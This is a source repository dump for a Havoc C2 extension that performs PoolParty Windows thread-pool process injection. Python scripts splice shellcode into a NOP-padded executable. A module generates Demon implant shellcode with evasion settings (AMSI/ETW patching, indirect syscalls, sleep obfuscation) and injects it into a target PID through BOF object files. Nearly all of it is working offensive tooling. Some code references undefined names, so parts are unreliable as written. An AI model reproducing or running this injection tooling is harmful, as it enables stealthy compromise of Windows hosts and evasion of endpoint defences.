├── .gitignore ├── .gitmodules ├── PoolParty-master.exe ├── README.md ├── Testing ├── PoolParty-debug-100000.exe ├── PoolParty-debug-2000.exe ├── PoolParty-debug-50000.exe ├── PoolParty-debug.exe ├── calc.bin └── poc.py ├── bin ├── PoolPartyBof_V4.x64.o ├── PoolPartyBof_V5.x64.o ├── PoolPartyBof_V6.x64.o ├── PoolPartyBof_V7.x64.o └── PoolPartyBof_V8.x64.o ├── generate.py ├── havoc-poolparty.png └── poolparty.py /.gitignore: -------------------------------------------------------------------------------- 1 | payload.bin 2 | *.raw 3 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/.gitmodules -------------------------------------------------------------------------------- /PoolParty-master.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/PoolParty-master.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # havoc-PoolParty 2 | 3 | Havoc Extension to a PoC Windows Thread Pool Injection created by [Alon Leviev](https://twitter.com/_0xDeku) 4 | 5 | PoC Github: https://github.com/SafeBreach-Labs/PoolParty 6 | 7 | 8 | #### generate.py - Custom PoolParty.exe generator script (Max payload size: 200k) 9 | 10 | 11 | ## PoolParty Variants 12 | 13 | | Variant ID | Varient Description | Status | 14 | | ------------- | ----------------- | ---------- | 15 | | 1 | Overwrite the start routine of the target worker factory | (IN PROGRESS)| 16 | | 2 | Insert TP_WORK work item to the target process's thread pool | (IN PROGRESS)| 17 | | 3 | Insert TP_WAIT work item to the target process's thread pool | (IN PROGRESS)| 18 | | 4 | Insert TP_IO work item to the target process's thread pool | READY | 19 | | 5 | Insert TP_ALPC work item to the target process's thread pool | READY | 20 | | 6 | Insert TP_JOB work item to the target process's thread pool | READY | 21 | | 7 | Insert TP_DIRECT work item to the target process's thread pool | READY | 22 | | 8 | Insert TP_TIMER work item to the target process's thread pool | READY | 23 | 24 | 25 | ## Installation 26 | 27 | Can be installed directly through Havoc Extensions. 28 | 29 | OR 30 | 31 | - Clone this repository 32 | - Modify the current working directory in poolparty.py 33 | - Import poolparty.py into Havoc 34 | 35 | 36 | ## Usage 37 | 38 | ### Generate payload 39 | 40 | poolparty generate -a {x86/x64} -l {listener name} 41 | 42 | ### Injection 43 | 44 | poolparty run -V {4,5,6,7,8} -P {PID} 45 | 46 | ## Screenshots 47 | 48 | ![Havoc](https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/main/havoc-poolparty.png) 49 | 50 | ## Credits 51 | 52 | My good friend [0xEr3bus](https://twitter.com/0xEr3bus) for having patience :) 53 | 54 | Check out his BOF implementation : https://github.com/0xEr3bus/PoolPartyBof 55 | -------------------------------------------------------------------------------- /Testing/PoolParty-debug-100000.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/Testing/PoolParty-debug-100000.exe -------------------------------------------------------------------------------- /Testing/PoolParty-debug-2000.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/Testing/PoolParty-debug-2000.exe -------------------------------------------------------------------------------- /Testing/PoolParty-debug-50000.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/Testing/PoolParty-debug-50000.exe -------------------------------------------------------------------------------- /Testing/PoolParty-debug.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/Testing/PoolParty-debug.exe -------------------------------------------------------------------------------- /Testing/calc.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/Testing/calc.bin -------------------------------------------------------------------------------- /Testing/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | 5 | shellcode = open("demon.bin", "rb").read() 6 | print(len(shellcode)) 7 | 8 | cwd = os.getcwd() 9 | # poolparty = open(f"{cwd}/PoolParty/PoolParty-master.exe", "rb").read() 10 | poolparty = open("PoolParty-debug.exe", "rb").read() 11 | nops = 199999 - len(shellcode) 12 | #new_pp = poolparty.replace(b"A"*199999, b"B"*199999) 13 | new_pp = poolparty.replace(b"A"*199999, b'\x90'*nops + shellcode) 14 | 15 | open("PoolParty.exe", "wb").write(new_pp) -------------------------------------------------------------------------------- /bin/PoolPartyBof_V4.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/bin/PoolPartyBof_V4.x64.o -------------------------------------------------------------------------------- /bin/PoolPartyBof_V5.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/bin/PoolPartyBof_V5.x64.o -------------------------------------------------------------------------------- /bin/PoolPartyBof_V6.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/bin/PoolPartyBof_V6.x64.o -------------------------------------------------------------------------------- /bin/PoolPartyBof_V7.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/bin/PoolPartyBof_V7.x64.o -------------------------------------------------------------------------------- /bin/PoolPartyBof_V8.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/bin/PoolPartyBof_V8.x64.o -------------------------------------------------------------------------------- /generate.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import argparse 4 | import os 5 | 6 | def main(): 7 | parser = argparse.ArgumentParser(description="Generate a PoolParty payload with the given shellcode file") 8 | parser.add_argument("-f", "--raw-file", required=True, help="Specify the raw file") 9 | args = parser.parse_args() 10 | 11 | raw_file_path = args.raw_file 12 | shellcode = open(raw_file_path, "rb").read() 13 | 14 | poolparty = open(f"PoolParty-master.exe", "rb").read() 15 | nops = 200000 - len(shellcode) 16 | 17 | payload = b'\x90' * nops + shellcode 18 | 19 | new_pp = poolparty.replace(b"A" * 200000, payload) 20 | 21 | open(f"{cwd}/PoolParty.exe", "wb").write(new_pp) 22 | 23 | if __name__ == "__main__": 24 | main() 25 | -------------------------------------------------------------------------------- /havoc-poolparty.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cipher7/havoc-PoolParty/1d468cf98012fd7e0a0f952f5082cbae602b5ced/havoc-poolparty.png -------------------------------------------------------------------------------- /poolparty.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #Author : Cipher007 3 | 4 | from havoc import Demon, RegisterCommand, RegisterModule 5 | import havoc 6 | import os 7 | from base64 import b64decode, b64encode 8 | from time import sleep 9 | 10 | 11 | cwd = os.getcwd() + "/data/extensions/havoc-PoolParty" # change this 12 | shellcode_file_path = cwd + "/payload.bin" 13 | 14 | variant = "" 15 | pid = "" 16 | 17 | def generate_payload(demon, arch, listener): 18 | if os.path.exists(shellcode_file_path): 19 | os.remove(shellcode_file_path) 20 | if os.path.exists(poolparty_file_path): 21 | os.remove(poolparty_file_path) 22 | 23 | demon.ConsoleWrite(demon.CONSOLE_INFO, "Generating shellcode") 24 | arch = str(arch) 25 | listener = str(listener) 26 | havoc.GeneratePayload(save_shellcode, 27 | "Demon", 28 | listener, 29 | arch, 30 | "Windows Shellcode", 31 | "{ \ 32 | \"Amsi/Etw Patch\": \"Hardware breakpoints\", \ 33 | \"Indirect Syscall\": true, \ 34 | \"Sleep Jmp Gadget\": \"None\", \ 35 | \"Injection\": { \ 36 | \"Alloc\": \"Native/Syscall\", \ 37 | \"Execute\": \"Native/Syscall\", \ 38 | \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\taskhostw.exe\", \ 39 | \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\taskhostw.exe\" \ 40 | }, \ 41 | \"Jitter\": \"15\", \ 42 | \"Proxy Loading\": \"RtlQueueWorkItem\", \ 43 | \"Sleep\": \"17\", \ 44 | \"Sleep Technique\": \"Ekko\", \ 45 | \"Stack Duplication\": true \ 46 | }" 47 | ) 48 | return True 49 | 50 | def generate(demonID, *params): 51 | TaskID : str = None 52 | demon : Demon = None 53 | demon = Demon(demonID) 54 | 55 | arch = "" 56 | listener = "" 57 | 58 | num_params = len(params) 59 | listeners = havoc.GetListeners() 60 | 61 | if num_params != 4 or params[0] == 'help' or params[0] == '-h': 62 | demon.ConsoleWrite(demon.CONSOLE_INFO, "USAGE : ") 63 | demon.ConsoleWrite(demon.CONSOLE_INFO, " poolparty generate -a {x86/x64} -l {listener name}\n") 64 | demon.ConsoleWrite(demon.CONSOLE_INFO, 'AVAILABLE LISTENERS : ') 65 | if len(listeners) == 0: 66 | demon.ConsoleWrite(demon.CONSOLE_ERROR, "No Listeners Running!!!") 67 | else: 68 | for listen in listeners: 69 | demon.ConsoleWrite(demon.CONSOLE_INFO, f'- {listen}') 70 | return False 71 | 72 | elif params[1] != 'x86' and params[1] != 'x64': 73 | demon.ConsoleWrite(demon.CONSOLE_ERROR, "Please select either x86 or x64 as your shellcode") 74 | return False 75 | 76 | else: 77 | arch = params[1] 78 | listener = params[3] 79 | demon.ConsoleWrite(demon.CONSOLE_INFO, f"{arch} - {listener}") 80 | if listener not in listeners: 81 | demon.ConsoleWrite(demon.CONSOLE_ERROR, "Listener is Invalid!") 82 | demon.ConsoleWrite(demon.CONSOLE_INFO, 'AVAILABLE LISTENERS : ') 83 | for listen in listeners: 84 | demon.ConsoleWrite(demon.CONSOLE_INFO, f'- {listen}') 85 | return False 86 | 87 | else: 88 | demon.ConsoleWrite(demon.CONSOLE_INFO, f"Generating payload for {arch} with listener as {listener}") 89 | TaskID = generate_payload(demon, arch, listener) 90 | return TaskID 91 | 92 | def execute(demon): 93 | TaskID : str = None 94 | 95 | global variant 96 | global pid 97 | 98 | packer : Packer = Packer() 99 | 100 | objectFile = cwd + "/bin/" 101 | if variant == "4": 102 | objectFile += "PoolPartyBof_V4.x64.o" 103 | elif variant == "5": 104 | objectFile += "PoolPartyBof_V5.x64.o" 105 | elif variant == "6": 106 | objectFile += "PoolPartyBof_V6.x64.o" 107 | elif variant == "7": 108 | objectFile += "PoolPartyBof_V7.x64.o" 109 | elif variant == "8": 110 | objectFile += "PoolPartyBof_V8.x64.o" 111 | else: 112 | demon.ConsoleWrite(demon.CONSOLE_ERROR, f"ERROR OCCURED!") 113 | return False 114 | 115 | Shellcode: bytes = b'' 116 | Shellcode = open(shellcode_file_path, 'rb').read() 117 | if exists(shellcode_file_path) is False: 118 | demon.ConsoleWrite(demon.CONSOLE_ERROR, f"File containing shellcode not found: {shellcodeFile}") 119 | return False 120 | else: 121 | Shellcode = open(shellcode_file_path, 'rb').read() 122 | if len(Shellcode) == 0: 123 | demon.ConsoleWrite(demon.CONSOLE_ERROR, "Shellcode is empty.") 124 | return False 125 | 126 | packer.addint(int(pid)) 127 | packer.addbytes(Shellcode) 128 | 129 | TaskID = demon.ConsoleWrite(demon.CONSOLE_TASK, "Tasked demon to run PoolParty with variant %s on PID %s" % (variant,pid)) 130 | demon.InlineExecute(TaskID, "go", objectFile, packer.getbuffer(), False) 131 | 132 | return TaskID 133 | 134 | def save_shellcode(data): 135 | with open(shellcode_file_path, "wb") as file: 136 | file.write(b64decode(data)) 137 | file.close() 138 | 139 | def run_parse_params(demon, params): 140 | global variant 141 | global pid 142 | 143 | num_params = len(params) 144 | 145 | skip = False 146 | 147 | if num_params != 4: 148 | demon.ConsoleWrite(demon.CONSOLE_ERROR,"USAGE: poolparty run -V {4/5/6/7/8} -P {PID}") 149 | return False 150 | 151 | for i in range(num_params): 152 | if skip: 153 | skip = False 154 | continue 155 | 156 | param = params[i] 157 | 158 | if param == '-V' or param == '-v': 159 | skip = True 160 | if i+1 >= num_params: 161 | demon.ConsoleWrite( demon.CONSOLE_ERROR, "missing variant value (-v {4/5/6/7/8})" ) 162 | return False 163 | variant = params[i+1] 164 | 165 | v = int(variant) 166 | if v < 1 or v > 8: 167 | return False 168 | 169 | elif param == '-P' or param == '-p': 170 | skip = True 171 | if i+1 >= num_params: 172 | demon.ConsoleWrite( demon.CONSOLE_ERROR, "missing PID (-P {PID})" ) 173 | return False 174 | pid = params[i+1] 175 | 176 | elif param == '-h' or param == "help": 177 | demon.ConsoleWrite(demon.CONSOLE_INFO,"USAGE: poolparty run -V {4/5/6/7/8} -P {PID}") 178 | demon.ConsoleWrite(demon.CONSOLE_INFO,"\n") 179 | 180 | else: 181 | demon.ConsoleWrite(demon.CONSOLE_ERROR,"USAGE: poolparty run -V {4/5/6/7/8} -P {PID}") 182 | 183 | execute(demon) 184 | return True 185 | 186 | def run(demonID, *params): 187 | TaskID : str = None 188 | demon : Demon = None 189 | demon = Demon(demonID) 190 | 191 | if exists(shellcode_file_path) is False: 192 | demon.ConsoleWrite(demon.CONSOLE_ERROR, "If you have just generated the payload, wait for a min or two before running this command") 193 | demon.ConsoleWrite(demon.CONSOLE_ERROR, "Shellcode file not found!!") 194 | return False 195 | 196 | TaskID = run_parse_params(demon, params) 197 | 198 | return TaskID 199 | 200 | 201 | RegisterModule("poolparty", "Windows Thread Pool Injection Module", "", "", "", "") 202 | RegisterCommand(generate, "poolparty", "generate", "Generate the PoolParty executable",0, "", "") 203 | RegisterCommand(run, "poolparty", "run", "Run the PoolParty process injection", 0, "", "") --------------------------------------------------------------------------------